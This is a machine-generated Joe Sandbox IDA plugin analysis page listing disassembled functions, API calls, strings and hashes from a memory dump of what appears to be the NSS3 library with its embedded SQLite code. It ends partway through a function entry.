Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: cb9d836e7ecd754af6800884d11e341e4560ceef922c4ac3db569a5553e7042c
Instruction ID: 250d78fb0ec3e64a52858d7eac80d8ee4f4925fccf4b274cea8a870830caa2a2
Opcode Fuzzy Hash: cb9d836e7ecd754af6800884d11e341e4560ceef922c4ac3db569a5553e7042c
Instruction Fuzzy Hash: D822CF70904300AFE710CF16CE48B9A77E1AF85308F248538FC585BB92E772E859DB92

Function 6C6B1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6B25F3

Strings

no such index: "%s", xrefs: 6C6B319D
no tables specified, xrefs: 6C6B26BE
access to view "%s" prohibited, xrefs: 6C6B2F4A
%s.%s, xrefs: 6C6B2D68
too many references to "%s": max 65535, xrefs: 6C6B2FB6
cannot join using column %s - column not present in both tables, xrefs: 6C6B32AB
H, xrefs: 6C6B329F
multiple recursive references: %s, xrefs: 6C6B22E0
table %s has %d values for %d columns, xrefs: 6C6B316C
no such table: %s, xrefs: 6C6B26AC
'%s' is not a function, xrefs: 6C6B2FD2
too many columns in result set, xrefs: 6C6B3012
unsafe use of virtual table "%s", xrefs: 6C6B30D1
a NATURAL join may not have an ON or USING clause, xrefs: 6C6B32C1
recursive reference in a subquery: %s, xrefs: 6C6B22E5
H, xrefs: 6C6B322D
%s.%s.%s, xrefs: 6C6B302D
cannot have both ON and USING clauses in the same join, xrefs: 6C6B32B5

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 51ab2e06c4b1cb5174819a8bc52017d698501cc1cd1ab46abe8300436aa75549
Instruction ID: b404f92b7934726f876cbdb6f2ad5ae1d605cbc052a8df002468648cbfdc2e6f
Opcode Fuzzy Hash: 51ab2e06c4b1cb5174819a8bc52017d698501cc1cd1ab46abe8300436aa75549
Instruction Fuzzy Hash: 39D27C74E042098FDB04CF99C498BDDB7F1BF49308F288169D855BBB51DB31A866CB98

Function 6C6EECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6EED38

Part of subcall function 6C684F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C684FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C6EEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C6EEFE4

Part of subcall function 6C7ADFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C685001,?,00000003,00000000), ref: 6C7ADFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C6EF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C6EF129
sqlite3_mprintf.NSS3(optimize), ref: 6C6EF1D1
sqlite3_free.NSS3(?), ref: 6C6EF368

Strings

porter, xrefs: 6C6EED97
fts3tokenize, xrefs: 6C6EF30F
unicode61, xrefs: 6C6EEDB5
fts4, xrefs: 6C6EF2AD
simple, xrefs: 6C6EED79
snippet, xrefs: 6C6EEF05, 6C6EEF37, 6C6EEF7C
offsets, xrefs: 6C6EEFAF, 6C6EEFDF, 6C6EF01F
matchinfo, xrefs: 6C6EF04F, 6C6EF082, 6C6EF0C2, 6C6EF0F2, 6C6EF124, 6C6EF169
fts4aux, xrefs: 6C6EECF9
fts3_tokenizer, xrefs: 6C6EEE1A, 6C6EEEA8
optimize, xrefs: 6C6EF199, 6C6EF1CC, 6C6EF211
fts3, xrefs: 6C6EF247

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: c43646a26ee29714a5b1b3719b35976759337c2ce77c2f8b3630693b2aed5342
Instruction ID: 3219a15f376c46de6b1fa55d4cf5b63479c828e79f613a4be3406a5acf56e809
Opcode Fuzzy Hash: c43646a26ee29714a5b1b3719b35976759337c2ce77c2f8b3630693b2aed5342
Instruction Fuzzy Hash: 7202EFB1B093004BE7149E71A88532B36B17BCA70CF14493ED95A87B41EB79E84AC7D7

Function 6C767C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C767C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C767C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C767D1E

Part of subcall function 6C767870: SECOID_FindOID_Util.NSS3(?,?,?,6C7691C5), ref: 6C76788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C767D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C767D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C767DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C767DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C767DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C767E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C767E58

Part of subcall function 6C767870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7691C5), ref: 6C7678BB
Part of subcall function 6C767870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C7691C5), ref: 6C7678FA
Part of subcall function 6C767870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C767930
Part of subcall function 6C767870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C767951
Part of subcall function 6C767870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C767964
Part of subcall function 6C767870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C76797A
Part of subcall function 6C767870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C767988
Part of subcall function 6C767870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C767998
Part of subcall function 6C767870: free.MOZGLUE(00000000), ref: 6C7679A7
Part of subcall function 6C767870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C7691C5), ref: 6C7679BB
Part of subcall function 6C767870: PR_GetCurrentThread.NSS3(?,?,?,?,6C7691C5), ref: 6C7679CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C767E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C767F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C767F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C767FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C767FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C768038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C768050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C768093
SECOID_FindOID_Util.NSS3 ref: 6C767F29

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C768072
SECOID_FindOID_Util.NSS3 ref: 6C7680F5

Part of subcall function 6C76BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C76800A,00000000,?,00000000,?), ref: 6C76BC3F

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 91c65418dad43efe543e8f34f10c2a82a25f04a078d2776b5488d2dca6c59d19
Instruction ID: 016a8a657461f14cc085cd2d06c5452dfeb419c295a26b7bed5279a457cf1205
Opcode Fuzzy Hash: 91c65418dad43efe543e8f34f10c2a82a25f04a078d2776b5488d2dca6c59d19
Instruction Fuzzy Hash: F2E18D706083009FE700CF2ACA84B5A77E5AF45358F144A2DEC9A9BF51E732EC49CB52

Function 6C6F1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C6F1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C6F1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C6F1CA1
GetLengthSid.ADVAPI32(?), ref: 6C6F1CA9
malloc.MOZGLUE(00000000), ref: 6C6F1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C6F1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C6F1CE4
GetLengthSid.ADVAPI32(?), ref: 6C6F1CEC
malloc.MOZGLUE(00000000), ref: 6C6F1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C6F1D0F
CloseHandle.KERNEL32(?), ref: 6C6F1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C6F1D4D
GetLastError.KERNEL32 ref: 6C6F1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C6F1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C6F1D7A

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 7cd3588a83c7830a7f3c944067765eac9367515ce4d62f4514023b7a606ad78f
Instruction ID: c9c67f6a7dbdba82e083952cb8650f053560376e6e178666f45bc1ba0681d708
Opcode Fuzzy Hash: 7cd3588a83c7830a7f3c944067765eac9367515ce4d62f4514023b7a606ad78f
Instruction Fuzzy Hash: AA3192F5A00218AFEB61AF64CC48BAA7BB8FF4E348F404075F60892211E7745994CFA5

Function 6C6F3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6F3DFB
__allrem.LIBCMT ref: 6C6F3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C6F4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F415F
__allrem.LIBCMT ref: 6C6F416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F42AB
__allrem.LIBCMT ref: 6C6F42B7

Strings

%lld, xrefs: 6C6F3FB2
%04d, xrefs: 6C6F407B
%02d, xrefs: 6C6F4086
%03d, xrefs: 6C6F42E8

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: de7f5d1759d35748198da2c5770341f609e3d3a9c776c718a807dccf9fb0f714
Instruction ID: 120dbc4a7686a76f40bc7eff57aa740424709a595186c60050be86d3a0dcb47b
Opcode Fuzzy Hash: de7f5d1759d35748198da2c5770341f609e3d3a9c776c718a807dccf9fb0f714
Instruction Fuzzy Hash: BAF14471A087409FE315CF38C941AABB7F6AF86308F148A2DF4A597B51E770D486CB46

Function 6C6FEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FEF63

Part of subcall function 6C7087D0: PORT_NewArena_Util.NSS3(00000800,6C6FEF74,00000000), ref: 6C7087E8
Part of subcall function 6C7087D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C6FEF74,00000000), ref: 6C7087FD
Part of subcall function 6C7087D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C70884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C6FF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C6FF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C6FF374
PL_strcasecmp.NSS3(6C842FD4,?), ref: 6C6FF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C6FF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6FF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C6FF67D
CERT_DestroyName.NSS3(?), ref: 6C6FF68B

Part of subcall function 6C708320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C708338
Part of subcall function 6C708320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C708364
Part of subcall function 6C708320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C70838E
Part of subcall function 6C708320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7083A5
Part of subcall function 6C708320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7083E3

Part of subcall function 6C7084C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C7084D9
Part of subcall function 6C7084C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C708528

Part of subcall function 6C708900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C708955

Strings

*, xrefs: 6C6FF3C6
oid., xrefs: 6C6FF2CF
", xrefs: 6C6FF21B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 121d336f865bcbf89ab589d1b6cf9e78f1111f325846587463e96647fffeaa03
Instruction ID: cbac7df39ebfeee0abe1dd42bbff1e7c52040bee7b97a18fa860b776f388eb4c
Opcode Fuzzy Hash: 121d336f865bcbf89ab589d1b6cf9e78f1111f325846587463e96647fffeaa03
Instruction Fuzzy Hash: 1A22297260C3414BE714CE58C4903AEB7E7AB9531CF184A2EE4E587B91EB719807C78B

Function 6C6A1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6A1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C6A1FB7

Strings

table, xrefs: 6C6A1C8B
sqlite_temp_master, xrefs: 6C6A1C5C
sqlite_master, xrefs: 6C6A1C61
abort due to ROLLBACK, xrefs: 6C6A2223
unsupported file format, xrefs: 6C6A2188
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C6A1F83
no more rows available, xrefs: 6C6A2264
another row available, xrefs: 6C6A2287
attached databases must use the same text encoding as main database, xrefs: 6C6A20CA
unknown error, xrefs: 6C6A2291

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: ab6f27c866c0714d8d24482bd15f8ab7e934ff8aba43479376d81436babba63d
Instruction ID: abce63c5b66c283eb9c1b49cb8c5e76a483dce90691475c42842902bd3b7df73
Opcode Fuzzy Hash: ab6f27c866c0714d8d24482bd15f8ab7e934ff8aba43479376d81436babba63d
Instruction Fuzzy Hash: 1E12DF70608341CFD710CF5AC484A5AB7F2BF85318F18896DE9998BB52D731EC4ACB96

Function 6C6C5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6C6C6228
BINARY, xrefs: 6C6C8708, 6C6C8737, 6C6C87B8
-, xrefs: 6C6C62F9
u, xrefs: 6C6C81DA
2, xrefs: 6C6C65B4
ON clause references tables to its right, xrefs: 6C6C6BEC
sub-select returns %d columns - expected %d, xrefs: 6C6C805F
NOCASE, xrefs: 6C6C8703

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 607cfa0ee0edb23f04f4707e08ac41d7cd941fb622c99077f45e176e8a117b8b
Instruction ID: 1355ca95f9088f391247275f0e4395968ca3ac67f77bd374143b88ce486d6bbd
Opcode Fuzzy Hash: 607cfa0ee0edb23f04f4707e08ac41d7cd941fb622c99077f45e176e8a117b8b
Instruction Fuzzy Hash: 534360747083418FD314CF19C490A6AB7E2FF89318F148A6DE8998B752D735E846CB9B

Function 6C76EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C76C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C76DAE2,?), ref: 6C76C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C76F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C76F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C76F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C76F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C83218C), ref: 6C76F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C76F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C76F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C76F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C76F210

Part of subcall function 6C7152D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C76F1E9,?,00000000,?,?), ref: 6C7152F5
Part of subcall function 6C7152D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C71530F
Part of subcall function 6C7152D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C715326
Part of subcall function 6C7152D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C76F1E9,?,00000000,?,?), ref: 6C715340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C76F227

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C76F23E

Part of subcall function 6C75BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C70E708,00000000,00000000,00000004,00000000), ref: 6C75BE6A
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?), ref: 6C75BE7E
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C76F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C76F3A8

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C76F3B3

Part of subcall function 6C712D20: PK11_DestroyObject.NSS3(?,?), ref: 6C712D3C
Part of subcall function 6C712D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C712D5F

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: f93af183c3cb8f545e690bbc294fd52aa113203ae0f023fb2aed19ff7ff68848
Instruction ID: f1921d62e5856ca82c9085cd785cfafc4ae1670a160467e76570c4ae976c5a11
Opcode Fuzzy Hash: f93af183c3cb8f545e690bbc294fd52aa113203ae0f023fb2aed19ff7ff68848
Instruction Fuzzy Hash: E0D16DB6E012059FDB14CFAADA84B9EB7B5EF48308F198039DD15A7B11EB31E805CB50

Function 6C79DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C777FFA,00000000,?,6C7A23B9,00000002,00000000,?,6C777FFA,00000002), ref: 6C79DE33

